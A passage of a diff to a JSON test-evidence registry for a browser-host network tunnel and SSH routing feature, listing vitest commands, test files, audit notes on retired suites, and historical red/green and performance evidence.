MiB browser-host and 128 MiB process ceiling; reject zero-byte claim/socket-source floods, fence released leases, synchronously release JavaScript queue claims while retaining native claims through exact socket close, and yield a parked queue after four frames without reordering. Route nested responses by exact ID under reordering, reject unknown and duplicate IDs, cap pending requests and queued bytes, and tear down every concurrent waiter once on timeout or close. Drive one real paired attach, command, and result through one exact connection ID; reject missing send support and malformed or wrong-runtime acknowledgements while preserving old non-v1 attaches. Drop an authenticated transport, require the same listener to reject CONNECT before and during reconnect, attach the exact existing native v1 payload and capability pair to a strictly newer generation, ignore late old callbacks, and roll an exhausted stream-ID ledger only by replacing the generation. Require SSH descriptors to add an execution-host capability and exact grant, reject missing grants and stale provider authority before resolver or binary registration, pass exact domains to ssh2 and system-SSH SOCKS without local resolution, sanitize connector diagnostics, and close every stream and standalone route process once on timeout, synchronous failure, or rotation. Drive the accepted lease through real paired E2EE native SOCKS-to-HTTP and ephemeral Docker ssh2 remote-only DNS journeys, then exercise exact frame, credit, half-close, stale-stream, remote-DNS, unsupported-command, offline, and teardown assertions.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit5896 retires the entire src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit5434 deletes the direct browser page inventory suite. URL-copy/duplicate-page preparation and whole-snapshot refusal for an unencodable page alarms are intentionally lost without equivalent replacement. Remove the deleted file from its compound command and testFiles. Other selectors/assertions and all three unrelated complete dated receipts retain their exact scope; no fresh full-gate execution is claimed. Historical prior account (preserved verbatim): Audit5429 trims paired browser-host composition and reconnect tests. Retire composition close-order/whenClosed wiring and explicit inventory-refresh reattachment/publication/cardinality alarms without equivalent replacement. Keep generation/recovery ownership and completed-mutation replay at their existing narrower scope. The removed composition close assertion is retired; surviving file commands remain valid selectors. No fresh full-gate execution or validation of reduced selectors is claimed. All three unrelated complete dated receipts retain their original exact fields and scope. Historical prior account (preserved verbatim): Audit4014 removes the complete browser client page command integration suite and its active command token, test selector and assertion reference. Its synthetic guest lifecycle still exercised real executor/dispatcher/Session/WebContents registry composition: navigation normalization, generation reclaim, spontaneous destruction inventory revocation, and exactly-once route/policy retirement alarms are intentionally lost. Electron guest navigation, proxy resolution and renderer lifecycle were supplied test ports; no equivalent replacement or fresh execution is claimed. The three unrelated active dated receipts and all prior historical strings remain unchanged. Historical prior account (preserved verbatim): Test-value audit3842 retires four ws-outbound queue unit probes: direct empty-queue send failure, configured drain quantum/zero-delay reschedule, injected aggregate claim/release accounting, and supplied unwritable drain guard. Their exact alarms are intentionally lost; retained queue behaviors are not equivalent replacements. All source-file commands remain valid. No fresh execution or measured-budget evidence is claimed. Historical prior account (preserved verbatim): Test-value audit removes the retired suite and its active selectors/assertions. Retire the paired-host late subscription smoke: it checks a mocked close count and startup rejection, without remote unsubscribe or successor outcomes. Audit3381 intentionally removes the entire browser network tunnel protocol suite and active selectors/assertion. Static envelope/dispatch protocol alarms are lost without equivalent replacement. Remaining tunnel session and stream tests have narrower scopes. All three unrelated complete dated receipts are preserved verbatim with their original selectors; no fresh execution claimed. Module layout SSH policy: Retire the dynamic-forward launch argument/default inventory. The retained actual startup-cancellation entry case covers cancellation classification and termination/probe cleanup requests with supplied process/socket boundaries, not real SSH launch flags or live forwarding. Remove only the retired launch-flags assertion; unrelated dated receipts and their executed commands remain unchanged. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1991: Remove the ordinary browser-host release/sub-cap and exact socket-close counter aliases. Retain the two actual admitted-device fairness and shared ask/browser/wait budget callbacks, which call server handlers with fake WebSockets and controlled pending RPCs. Preserve all3 unrelated dated receipts. No real browser placement or remote tunnel deployment is proved by this admission suite. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked browser placement mutation and projection suites and both prospective selectors. Preserve3 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1973: Remove stale production-registration and negotiated metadata aliases, compound refusal/cleanup aliases, isolated descriptor/route/memory/cleanup microcases. Retain exact negotiated command settlement, duplicate/conflict fencing, ready/replay ordering, superseded-connection cleanup, second-host refusal, ungranted target refusal, public connector redaction, revocation race and route replacement aliases within injected-port scope. Reconciliation and all3 unrelated dated receipts remain unchanged. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1918 narrows browser-host-command-ledger-capacity: intentionally loses injected per-page/global cache expiry-count ceilings and authority/command/result cloning inventory alarms. Retain valid commands/testFile and the oversized-wire pre-admission and delivery-failure outstanding-outcome assertions, backed by unchanged retained real-ledger callbacks with supplied browser delivery. These survivors are not equivalent replacement coverage for the deleted cache/cloning examples. Existing three exact unrelated tunnel/wire receipts retain their original scope; no fresh reduced-gate, real browser/provider, native/platform, soak or measured-budget result is added. Historical prior account (preserved verbatim): Audit1900 reduces ws-outbound-backpressure-queue by seven authored definitions while retaining ten. Current source19 assertions still describe distinct direct/queued aggregate admission, cooperative drain ordering and aggregate claim release. Existing commands, testFiles and all three source19 assertions remain valid and unchanged. The affected2026-11-04 Linux44tests/4files/5.58s receipt is retired whole as historical evidence. The other three unchanged-selector browser receipts retain their exact original scope. Reduced selectors have no fresh integrated, physical-device, mixed-host, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1687 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1686 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Attach two browser hosts and require unqualified selection to fail ambiguous while exact selection succeeds. Reject a second identity on one connection and a fifth identity for one paired device, release one exact lease, then admit its replacement without starving another device. Admit four hosts from one authenticated device and a host from a second, reject the first device's fifth host, and release only the first device's exact counters while the second remains live. Fill asks and hosts to their shared ceiling, retain a quarter of the total budget for ordinary waits, close both sockets, and prove every global, class, and device counter releases. Reject one initial host attach with the unchanged runtime_busy response, then require bounded client-specific jitter to attach when capacity returns; repeated rejection and explicit close must release every timer and subscription. Replace one same-device connection, require the old subscription and route to fence, then prove late old cleanup leaves the new generation live. Mint an exact execution-host grant, reject a different key, prove late old grant cleanup leaves its replacement, and invalidate every grant with lease replacement. Reject client-to-client, client-to-server, server-to-server, and server-to-client placement overwrite until exact retirement. Begin retirement once idempotently, reject client use and every replacement while pending, cancel the exact token to restore the same placement, and reject delayed cancellation or completion after a newer retirement begins. On explicit release, replacement, legacy disconnect, and reconnect-grace expiry, require only the exact host generation's client placements to become non-cancellable retirement-pending before lease settlement; preserve negotiated grace, other hosts, server placements, replacements, and capacity until exact completion. Complete only the exact pending token, retain capacity until completion, and require a reused client page ID to receive a higher global generation without retaining a tombstone. Require a client page through the exact runtime, epoch, host, and page tuple; reject every mismatch, released or replaced leases, retirement-pending pages, retired pages, server placements, invalid identities, and the 257th live placement. Admit 1024 opens in one monotonic 10-second window and reject the 1025th until the window expires. Fill 8 MiB across destination-to-client queues and separately across unsettled client-to-destination writes, release one exact retired stream, admit one replacement, and require the next byte claim to close the route without stale-callback or reentrant-close underflow. Across multiple routes, charge application copies, encrypted queue entries, and dynamic native socket bytes to one 32 MiB browser-host and 128 MiB process ceiling; reject zero-byte claim/socket-source floods, fence released leases, synchronously release JavaScript queue claims while retaining native claims through exact socket close, and yield a parked queue after four frames without reordering. Route nested responses by exact ID under reordering, reject unknown and duplicate IDs, cap pending requests and queued bytes, and tear down every concurrent waiter once on timeout or close. Drive one real paired attach, command, and result through one exact connection ID; reject missing send support and malformed or wrong-runtime acknowledgements while preserving old non-v1 attaches. Drop an authenticated transport, require the same listener to reject CONNECT before and during reconnect, attach the exact existing native v1 payload and capability pair to a strictly newer generation, ignore late old callbacks, and roll an exhausted stream-ID ledger only by replacing the generation. Require SSH descriptors to add an execution-host capability and exact grant, reject missing grants and stale provider authority before resolver or binary registration, pass exact domains to ssh2 and system-SSH SOCKS without local resolution, sanitize connector diagnostics, and close every stream and standalone route process once on timeout, synchronous failure, or rotation. Drive the accepted lease through real paired E2EE native SOCKS-to-HTTP and ephemeral Docker ssh2 remote-only DNS journeys, then exercise exact frame, credit, half-close, stale-stream, remote-DNS, unsupported-command, offline, and teardown assertions.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts", @@ -4523,8 +4082,8 @@ "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/client-routes/browser-client-network-route-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-registry.test.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/commands/browser-host-command-ledger-capacity.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/browser/network/execution-routes/browser-network-deferred-socket.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/ssh-browser-network-execution-route.test.ts src/main/ssh/system-transport/forwarding/system-ssh-dynamic-forward-process.test.ts src/main/ssh/system-transport/forwarding/system-ssh-forward-process.test.ts src/main/ssh/system-transport/system-ssh-operations.test.ts src/main/ssh/port-forwarding/ssh-port-forward.test.ts", - "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts" + "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts", + "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts" ], "testFiles": [ "src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts", @@ -4556,7 +4115,7 @@ "src/shared/remote-runtime/remote-runtime-client.test.ts", "src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts", "src/shared/network/websocket/ws-outbound-backpressure-queue.test.ts", - "tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts" + "tests/e2e/remote/ssh-hosts/ssh-browser-network-execution-route.docker.unit.test.ts" ], "assertionRefs": [ { @@ -4721,14 +4280,6 @@ "authority invalidation cancels an in-progress SSH launch and destroys its active readiness probe immediately" ] }, - { - "file": "tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "assertions": [ - "an ephemeral sshd resolves a container-only domain and returns a unique HTTP marker", - "the real ssh2 forwardOut receives that exact domain and provider loss fences the route", - "one non-interactive system-OpenSSH dynamic forward passes the same remote-only oracle and closes cleanly" - ] - }, { "file": "src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts", "assertions": [ @@ -4751,15 +4302,6 @@ } ], "evidenceRuns": [ - { - "date": "2026-08-14", - "runner": "local", - "platform": "macos", - "command": "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 pnpm exec vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "result": "passed", - "durationSeconds": 1.3, - "summary": "Two tests passed: an ephemeral Linux sshd resolved remote-only.internal and returned the sta-4150-remote-only HTTP marker over real ssh2 forwardOut and one real system-OpenSSH dynamic forward; the ssh2 route also fenced on authority invalidation." - }, { "date": "2026-08-14", "runner": "local", @@ -4769,32 +4311,23 @@ "result": "passed", "durationSeconds": 3, "summary": "Seventeen authenticated subscription tests passed, including tunnel capability binding and hard outbound-queue overflow rejection." - }, - { - "date": "2026-09-06", - "runner": "ci", - "platform": "linux", - "command": "ORCA_RUN_DOCKER_SSH_BROWSER_E2E=1 node_modules/.bin/vitest run --config config/vitest.config.ts tests/e2e/ssh-browser-network-execution-route.docker.unit.test.ts", - "result": "passed", - "durationSeconds": 28.29, - "summary": "Previously excluded Docker SSH2 and system-OpenSSH remote-only domain journeys: 2/2 baseline cases (34043512327) plus 6/6 across three independent CI jobs (34043659504), zero skips/retries. Dedicated ssh-browser-network-route job now executes them for full E2E runs and matched source/test edits; preserves all original route and authority assertions." } ], "runtimeBudget": { "p95Seconds": 10, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1401; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1340; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic and paired-runtime suites passed locally; CI and soak history have not started for the stacked route stage." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1401; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1340; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic and paired-runtime suites passed locally; CI and soak history have not started for the stacked route stage." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1401 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1340 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The protocol and tunnel-session oracles fail on origin/main 3246b73add because the modules do not exist, then pass on the candidate. The lease registry and control-client suites were recorded red at missing modules before implementation. The unchanged tunnel authorization oracle was behaviorally red because an authenticated socket could self-assert its paired device ID and received ready generation 7 without a lease; it is green after server-owned lease and route fencing. On c9a41abf24, the unchanged admission oracle failed three ways: a second identity on one connection and a fifth identity for one paired device were both admitted, and closed page placement had no retirement API. All three pass after bounded admission and tombstone-free global page generations. Before the admission-fairness stage, one paired device's four hosts filled the global host cap and rejected a second device, initial runtime_busy was terminal, and reconnect runtime_busy ended preserved authority. Raising only the host cap then let asks and hosts starve ordinary waits. The reviewed candidate caps hosts at eight globally and four per authenticated paired device, caps asks plus hosts at twelve of sixteen polls, and retries runtime_busy only inside the existing attach or reconnect deadline; the unchanged oracle passes all 16 focused assertions with exact counter, subscription, and timer release. On parent 81eb14c849, the initial three replacement-barrier tests failed because occupied client and server pages could be overwritten without retirement; the candidate rejects every placement-kind overwrite before host selection, preserves capacity until exact retirement, and keeps replacement generations monotonic. On parent 32c0c7f309, all five two-phase retirement tests failed because retirement had only an immediate-delete API; the candidate fences pending pages, restores exact cancellation, rejects delayed tokens, and releases capacity only after exact completion. On parent 392d13be9f, the deterministic resource oracle admitted 17 pending opens, admitted a 129th open inside 10 seconds, and retained more than 8 MiB across one route; all three failed assertions pass on the candidate, which also covers unsettled writes and reentrant exact release. With aggregate enforcement replaced by a no-op scaffold on parent b32610e365, all three host/process memory assertions failed: host bytes, process bytes, claims, and socket sources were independently unbounded. They pass with exact owner release, client and execution-host application charging, encrypted queue/native socket charging, and bounded drain. On parent a089829521, stream exhaustion was not distinguishable, transport loss closed the local listener with ECONNREFUSED, reconnect opened no replacement subscription, and a ready generation that closed before await continuation could be replayed. The initial reconnect candidate also retained a dead transport after a client-side protocol failure and therefore refused replacement. The reviewed candidate keeps one fail-closed address, propagates protocol closure, strictly fences observed generations, ignores superseded callbacks, and recycles stream IDs only after replacement while preserving the v1 attach shape. Parent 9889adf4c5 accepts only a native executionHost schema and its handler unconditionally reads native runtimeId and revision; widening the schema made node typecheck fail at those exact assumptions before adapter integration. The candidate keeps native subscription bytes and capabilities unchanged, capability-gates SSH, rejects stale authority before binary registration, and passes exact domains through both adapter contracts. Before the reviewed authorization and lifecycle fix, 10 of 34 focused assertions failed: an ungranted SSH key reached the resolver, grants did not exist, native routes exposed a global never-settling invalidation promise, pre-attach destroy emitted no close, synchronous forwardOut escaped without cleanup, OpenSSH did not force a standalone process, and raw connector detail crossed the RPC boundary. The same 34 assertions pass with exact tokenized grants, optional native invalidation, one-close deferred sockets, caught synchronous opens, standalone OpenSSH, and stable public errors. The real paired journey failed at the missing network.browserTunnel method before explicit test injection, then passed with an exact control lease while both production registries remained closed. Full mutation/revert evidence remains to be collected before promotion." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1401 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1340 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The protocol and tunnel-session oracles fail on origin/main 3246b73add because the modules do not exist, then pass on the candidate. The lease registry and control-client suites were recorded red at missing modules before implementation. The unchanged tunnel authorization oracle was behaviorally red because an authenticated socket could self-assert its paired device ID and received ready generation 7 without a lease; it is green after server-owned lease and route fencing. On c9a41abf24, the unchanged admission oracle failed three ways: a second identity on one connection and a fifth identity for one paired device were both admitted, and closed page placement had no retirement API. All three pass after bounded admission and tombstone-free global page generations. Before the admission-fairness stage, one paired device's four hosts filled the global host cap and rejected a second device, initial runtime_busy was terminal, and reconnect runtime_busy ended preserved authority. Raising only the host cap then let asks and hosts starve ordinary waits. The reviewed candidate caps hosts at eight globally and four per authenticated paired device, caps asks plus hosts at twelve of sixteen polls, and retries runtime_busy only inside the existing attach or reconnect deadline; the unchanged oracle passes all 16 focused assertions with exact counter, subscription, and timer release. On parent 81eb14c849, the initial three replacement-barrier tests failed because occupied client and server pages could be overwritten without retirement; the candidate rejects every placement-kind overwrite before host selection, preserves capacity until exact retirement, and keeps replacement generations monotonic. On parent 32c0c7f309, all five two-phase retirement tests failed because retirement had only an immediate-delete API; the candidate fences pending pages, restores exact cancellation, rejects delayed tokens, and releases capacity only after exact completion. On parent 392d13be9f, the deterministic resource oracle admitted 17 pending opens, admitted a 129th open inside 10 seconds, and retained more than 8 MiB across one route; all three failed assertions pass on the candidate, which also covers unsettled writes and reentrant exact release. With aggregate enforcement replaced by a no-op scaffold on parent b32610e365, all three host/process memory assertions failed: host bytes, process bytes, claims, and socket sources were independently unbounded. They pass with exact owner release, client and execution-host application charging, encrypted queue/native socket charging, and bounded drain. On parent a089829521, stream exhaustion was not distinguishable, transport loss closed the local listener with ECONNREFUSED, reconnect opened no replacement subscription, and a ready generation that closed before await continuation could be replayed. The initial reconnect candidate also retained a dead transport after a client-side protocol failure and therefore refused replacement. The reviewed candidate keeps one fail-closed address, propagates protocol closure, strictly fences observed generations, ignores superseded callbacks, and recycles stream IDs only after replacement while preserving the v1 attach shape. Parent 9889adf4c5 accepts only a native executionHost schema and its handler unconditionally reads native runtimeId and revision; widening the schema made node typecheck fail at those exact assumptions before adapter integration. The candidate keeps native subscription bytes and capabilities unchanged, capability-gates SSH, rejects stale authority before binary registration, and passes exact domains through both adapter contracts. Before the reviewed authorization and lifecycle fix, 10 of 34 focused assertions failed: an ungranted SSH key reached the resolver, grants did not exist, native routes exposed a global never-settling invalidation promise, pre-attach destroy emitted no close, synchronous forwardOut escaped without cleanup, OpenSSH did not force a standalone process, and raw connector detail crossed the RPC boundary. The same 34 assertions pass with exact tokenized grants, optional native invalidation, one-close deferred sockets, caught synchronous opens, standalone OpenSSH, and stable public errors. The real paired journey failed at the missing network.browserTunnel method before explicit test injection, then passed with an exact control lease while both production registries remained closed. Full mutation/revert evidence remains to be collected before promotion." }, "performanceBudget": { "required": true, - "evidence": "Audit1900 removes direct-send and guard/counter inventories from the queue suite. Historical byte/count/drain budgets remain policy and earlier measurements apply only to their unchanged selectors. The reduced source has no fresh work-count or latency measurement; required performanceBudget and numeric runtime budget remain unchanged. Historical prior account (preserved verbatim): Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Data frames, send credit, pending bytes and chunk counts in both directions, streams, SOCKS handshake, and pipelined application bytes are bounded. Each route admits at most 256 streams (pending opens included), 1024 opens per monotonic 10-second window, and 8 MiB of session-owned queued or unsettled application bytes with exact settlement and retirement release. Multiple client routes share a 32 MiB browser-host and 128 MiB process ceiling across application copies, encrypted queue frames, and dynamic native socket buffers; the execution runtime uses the same per-host/process application policy. Claims, socket sources, host records, and leases have independent count caps; explicit close releases JavaScript queue claims synchronously while native socket ownership remains charged until exact socket close. Parked encrypted queues hand at most four frames to the native socket per immediate cooperative drain turn. One authenticated connection retains at most one browser host and one paired device at most four, with exact release restoring admission. Permanent browser-host polls use at most eight of sixteen slots and four per authenticated paired device; asks plus hosts use at most twelve, preserving four slots for ordinary waits. Admission retry adds no polling or subprocess: it owns one attach subscription and one timer at a time, uses deterministic client-specific jitter, and cannot outlive the existing attach timeout or negotiated reconnect grace. Each SSH route owns one ssh2 authority or one standalone system-SSH dynamic-forward process, keeps at most 64 KiB of stderr tail, and releases every adapter/socket on exact route close or provider rotation. The system-SSH process exposes a separate no-auth loopback SOCKS listener outside application stream/rate/memory accounting under the documented same-user desktop trust boundary. Credit returns only after the execution-host or browser-facing socket write settles, and the injected transport must explicitly accept each frame. Node stream-internal high-water bytes and strict cross-route scheduling evidence remain required before live tunnel advertisement." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Audit1900 removes direct-send and guard/counter inventories from the queue suite. Historical byte/count/drain budgets remain policy and earlier measurements apply only to their unchanged selectors. The reduced source has no fresh work-count or latency measurement; required performanceBudget and numeric runtime budget remain unchanged. Historical prior account (preserved verbatim): Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Data frames, send credit, pending bytes and chunk counts in both directions, streams, SOCKS handshake, and pipelined application bytes are bounded. Each route admits at most 256 streams (pending opens included), 1024 opens per monotonic 10-second window, and 8 MiB of session-owned queued or unsettled application bytes with exact settlement and retirement release. Multiple client routes share a 32 MiB browser-host and 128 MiB process ceiling across application copies, encrypted queue frames, and dynamic native socket buffers; the execution runtime uses the same per-host/process application policy. Claims, socket sources, host records, and leases have independent count caps; explicit close releases JavaScript queue claims synchronously while native socket ownership remains charged until exact socket close. Parked encrypted queues hand at most four frames to the native socket per immediate cooperative drain turn. One authenticated connection retains at most one browser host and one paired device at most four, with exact release restoring admission. Permanent browser-host polls use at most eight of sixteen slots and four per authenticated paired device; asks plus hosts use at most twelve, preserving four slots for ordinary waits. Admission retry adds no polling or subprocess: it owns one attach subscription and one timer at a time, uses deterministic client-specific jitter, and cannot outlive the existing attach timeout or negotiated reconnect grace. Each SSH route owns one ssh2 authority or one standalone system-SSH dynamic-forward process, keeps at most 64 KiB of stderr tail, and releases every adapter/socket on exact route close or provider rotation. The system-SSH process exposes a separate no-auth loopback SOCKS listener outside application stream/rate/memory accounting under the documented same-user desktop trust boundary. Credit returns only after the execution-host or browser-facing socket write settles, and the injected transport must explicitly accept each frame. Node stream-internal high-water bytes and strict cross-route scheduling evidence remain required before live tunnel advertisement." }, "promotionCriteria": [ "Charge Node stream-internal high-water bytes and prove cross-route fairness under slow physical links; add a strict scheduler if the four-frame yield quantum is insufficient.", @@ -4868,7 +4401,12 @@ "Audit5434 retires browser-client-page-inventory.test.ts preparation/duplicate/optional-snapshot refusal alarms without equivalent replacement.", "Audit5577 exact prior command before retired suite selector removal: pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/reconciliation/browser-host-page-retirement.test.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement-replacement.test.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts", "Audit5743 exact original active selector fields before whole suite removal (historical, not current coverage): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/routing/guest-authority/browser-route-webcontents-registry.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-reconnect.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser/client-pages/runtime-browser-client-page-recovery.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/reconciliation/browser-host-page-retirement.test.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/commands/browser-host-command-ledger.test.ts src/main/runtime/browser-host/reconciliation/browser-host-page-placement.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/browser/browser-client-host-reconciliation.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/execution/browser-client-page-command-executor.test.ts src/main/browser/client-hosts/lifecycle/paired-runtime-browser-client-host-composition.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-pages/lifecycle/browser-client-page-reconciliation-adapters.test.ts src/main/browser/routing/sessions/browser-route-prepared-page-rekey.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/shared/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/ws-outbound-backpressure-queue.test.ts src/shared/remote-runtime/remote-runtime-client.test.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session-aggregate-memory.test.ts src/main/browser/network/tunnels/browser-network-tunnel-outbound-memory-budget.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser-host/leases/browser-host-lease-registry.test.ts src/main/runtime/rpc/methods/browser/browser-client-host.test.ts src/main/runtime/rpc/methods/browser/browser-network-tunnel.test.ts src/main/browser/network/execution-routes/paired-runtime-browser-network-route.test.ts src/main/runtime/browser/network/browser-network-tunnel-paired-runtime.integration.test.ts src/main/browser/network/tunnels/browser-network-tunnel-client.test.ts src/main/browser/network/tunnels/browser-network-tunnel-session.test.ts src/main/browser/network/tunnels/remote-browser-socks-server.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/remote-runtime-client.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/requests/remote-runtime-subscription-request.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/browser/client-hosts/commands/browser-client-host-command-dispatcher.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts 